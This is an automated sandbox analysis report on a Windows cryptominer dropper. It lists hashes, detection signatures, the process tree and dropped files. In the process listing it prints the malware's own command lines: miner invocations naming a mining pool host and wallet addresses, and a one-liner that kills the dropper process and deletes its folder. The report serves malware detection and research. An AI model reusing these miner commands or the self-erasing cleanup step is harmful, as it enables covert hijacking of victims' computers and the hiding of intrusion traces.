Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 19:41
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe
Resource
win10v2004-20260911-en
19 signatures
150 seconds
General
- Target 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe
- Size 800KB
- Sample261002-yefjvsgf66
- SHA256 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4
- MD5 5dc052b9aa71d6417ce9ead6d2b44af7
- SHA1 eb8af909758b550a9fa3115fabdb50f36e7c5192
- SHA512 65d4969baea9be6068b65d674586ff0c3d78a0066e06bf8c8101858091cc4a144925cb4facb69872259028d3faa4fd4380eac1bafd5e42a554558cc9e4c47aa3
- SSDEEP 12288:Z0XmB+6yATmeo5xR+S9tAWOV6AyRMtHTfTiqLWpk:gmk9ACeorR79STmqGk
- TLSH T1BB058E01B5C780F2DA19593004B7673EDB359B870B14DFCB9368EE6D7D322819E3629A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000d00000001c54c-41.dat family_xmrig behavioral2/files/0x000d00000001c54c-41.dat xmrig - Downloads MZ/PE file 1 IoCs
flow pid Process 5 1524 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe - Executes dropped EXE 5 IoCs
pid Process 632 EoUsFvRsyyw.exe 1100 SareicahUI.exe 1276 rar.exe 2756 SaericahUI.exe 4580 SaeriachUI.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
pid Process 2756 SaericahUI.exe 2756 SaericahUI.exe -
resource yara_rule behavioral2/files/0x000e00000001c543-4.dat upx behavioral2/memory/632-9-0x0000000000400000-0x000000000078C000-memory.dmp upx behavioral2/memory/632-22-0x0000000000400000-0x000000000078C000-memory.dmp upx - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.exe rar.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe EoUsFvRsyyw.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe SareicahUI.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\xmr.exe rar.exe File opened for modification C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\WinRing0x64.sys rar.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.rar SareicahUI.exe File opened for modification C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\xmr.exe rar.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\WinRing0x64.sys rar.exe File created C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.exe rar.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3708 cmd.exe 5096 cmd.exe 3332 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain SareicahUI.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain SaericahUI.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname SaeriachUI.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname SareicahUI.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname SaericahUI.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain SaeriachUI.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EoUsFvRsyyw.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rar.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SareicahUI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5096 cmd.exe 788 PING.EXE - Kills process with taskkill 1 IoCs
pid Process 2964 taskkill.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 788 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe 1100 SareicahUI.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2964 taskkill.exe Token: SeLockMemoryPrivilege 2756 SaericahUI.exe Token: SeLockMemoryPrivilege 4580 SaeriachUI.exe Token: SeLockMemoryPrivilege 4580 SaeriachUI.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4580 SaeriachUI.exe - Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1524 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe 1524 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe 632 EoUsFvRsyyw.exe 632 EoUsFvRsyyw.exe 1100 SareicahUI.exe 1100 SareicahUI.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1524 wrote to memory of 632 1524 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe 89 PID 632 wrote to memory of 1100 632 EoUsFvRsyyw.exe 90 PID 1524 wrote to memory of 3708 1524 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe 91 PID 632 wrote to memory of 5096 632 EoUsFvRsyyw.exe 93 PID 5096 wrote to memory of 2964 5096 cmd.exe 95 PID 5096 wrote to memory of 788 5096 cmd.exe 97 PID 1100 wrote to memory of 1276 1100 SareicahUI.exe 98 PID 1100 wrote to memory of 2756 1100 SareicahUI.exe 100 PID 2756 wrote to memory of 3332 2756 SaericahUI.exe 102 PID 1100 wrote to memory of 4580 1100 SareicahUI.exe 104
Processes
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C:\Users\Admin\AppData\Local\Temp\3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe"C:\Users\Admin\AppData\Local\Temp\3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe"1⤵
- Downloads MZ/PE file
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw\EoUsFvRsyyw.exeC:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw\EoUsFvRsyyw.exe2⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exeC:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe"rar.exe" x -iext -ow -o+ "hao1151_2.rar" "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets"4⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1276
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C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SaericahUI.exeSaericahUI.exe --algorithm pearlhash --pool stratum+ssl://2.hao1151.com:18013 --wallet prl1phs6s7m983309a6pz7qdreq8x6usschwxc5ujalp0lzvzyptjghlsc52549.SER24⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c set5⤵
- Executes a command shell one-liner
PID:3332
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C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SaeriachUI.exeSaeriachUI.exe -o 2.hao1151.com:30530 -u 83ZLYwyHMmaSTCg6raY1yzQzcFDXLXsrviorZR9h9KmMGmtwGbZx7VQ9PiSw14RQvxQfGhgzT37H5h5nWMFqthtYEmF3rZi -p x --tls --algo rx/04⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4580
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C:\Windows\SysWOW64\cmd.execmd /c taskkill /f /pid 632 &ping 127.0.0.1 -n 1 &rd /s /q C:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /pid 6324⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2964
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:788
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\update_relay.bat2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3708
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MTNU6HGG\hao1151[1].exe
- Size 1.1MB
- SHA256 ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527
- MD5 a0ec6765cd28803df8ccc8ba4b42c24f
- SHA1 9cf718c42135817068ba24a99ddc941270c4d845
- SHA512 2358ccfb49e5190c0086f0ea1ce8619dcc95d36ef77b3cfaf2060706452f57633e9f8892d1d3577d9a1dff59774fccf474ac0f54f6e7c56a4094e1ba0d1dde6a
- SSDEEP 24576:BBAkFRYd+yrg7tdZhHFZzOkx4xbXLmzs6jIQvqj4PYQWDUSF:BBYd9kdZ5FZKk8vmlIQSjAYQWDP
- TLSH T1C73533CD10510959E85A5A3F87A26EBC74972A74AE722D2C1E04FBE538F25607FC3C27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\T7KVIYDE\hao1151_2[1].rar
- Size 33.1MB
- SHA256 8ee2f5147fc1268e9dc9220f7ed5261519ace8139b646e25ca47faf8fd00a8d1
- MD5 318ecc2d61b18857443013f10db48554
- SHA1 608f80de7bebc90c5bf30d4f6bd7c3f44a9fc914
- SHA512 eb9d0bbabad367eea1d72015f39f31fb73dc306a02fc804c8394b51df332ce6b235c1b2b0cc85e3c87cdc3e3b98c509193d6c3ac78c254bad4e6d6cd6e9cfe9c
- SSDEEP 786432:1B6XsGesH4sYPugCv17M7sWyO6Zorl3v+ThXIoiN:1IXLtH4/7g7Mod7ZIlfAxiN
- TLSH T162773311DB82AFF41275229F908EBD3DBC6EE518CAC135AD7054C297AD7B190983DAF0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\update_relay.bat
- Size 557B
- SHA256 0a3c5b0f3b1cc66b7d3b2fb0622ba9b9586c803601f83e2cb59e8a32b577f7d0
- MD5 1058d3b3edee1197b8d318ae66e03934
- SHA1 e7feec6abff0945300dbc4d975978e9e4121d5d3
- SHA512 8f563067f63025203c859febb9ce9d2392eb6deabaee56bb9316c669352cff80294f397b19fbd4bc81e41d1bbb2eb2b1cd78ee0dbad6d173d477819eafea3aa7
- TLSH T1FBF04633958A853E0C54496B8493F2EDC1D2086CBD4C134E1A60842D668A43EF9FB290
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
- Size 2.6MB
- SHA256 9c22edef196f3dc8793c67112620aa81d833b36eaef3700c95a437c7948b41f3
- MD5 27d7f9545333319c51044dc3d33eb4e3
- SHA1 0c6e40c96c3786e622556fabd56b3fe34044e4e9
- SHA512 cb930e05993c621b621ebd618ef79416a5fb020230d68954616f472556de19f75f9fba794494ccf840c9feb4139108c0b129ef7178f3277fb8667054dfe51157
- SSDEEP 24576:ng54TG0XXmCeKwszWnr4NRz0yWCU8xMczxNo596didOVXofUytipjUytzyUytnZs:n00peKwMqyzZNzs5cpxyZy9RytVg
- TLSH T125D5C001F782C0B5F54515B055FA573EEA3A97150B308BC7D3D8ED792E222E2AA3325B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.exe
- Size 31.3MB
- SHA256 224f882da1c5e000dec7350225746e32c7ff7edd7265ad4ff879b8295ba9c192
- MD5 8ad658dce006777108308f1ff075a004
- SHA1 f7ae7edaad4d290045c7f1fc8a0903cc54605281
- SHA512 e95f21693bc5d3fe3eb9ae9c324bb3accee5e5d041a784a4fef18ac603964b957e3e2b309c8eb7b7cf34260d3df0408b3fb363675fda97c78b8a97c66772c23b
- SSDEEP 786432:85mYX4KNbXGOJrO1svQe591R29XCC8qneWrU1B0Mxfqz:85TXfSOxAsvZHAZk+e8U1B0Uf
- TLSH T1FB7733F72E4B9AABE187617EDCCC9C1836DC0E5B6E9292DC585C362BC44F00199F861D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe
- Size 551KB
- SHA256 06159de0077f8a7f03eeccc3bbd499d6941476b4a0d2e164b94e01e89907ce9a
- MD5 c4d1ff896853a227c3c528861cf976d0
- SHA1 a724d035c70cac1052daa66ca06d1b46d30f9a17
- SHA512 2af42f5c6f908c61b3eb1e752e7cec7b161a4580838f358d5bac2abf4974dbe1f1baef186d96b7ba620f6a9058d6af01d2e5f4118f726504342e7a9a1567b116
- SSDEEP 12288:vs5W3eDU8xMR6rzxNouKjxfLkvdnAG03dOVXoNn:vyWCU8xMczxNo596didOVXo9
- TLSH T16CC4AF10BEC2C1B2C9551570666E972F793EA614073149EBA3D80D693E236E31F36BF2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\xmr.exe
- Size 6.2MB
- SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
- MD5 ac458ece671fdde066ce60e448f12bc0
- SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
- SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
- SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
- TLSH T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
- MD5 SHA1 SHA512 SSDEEP TLSH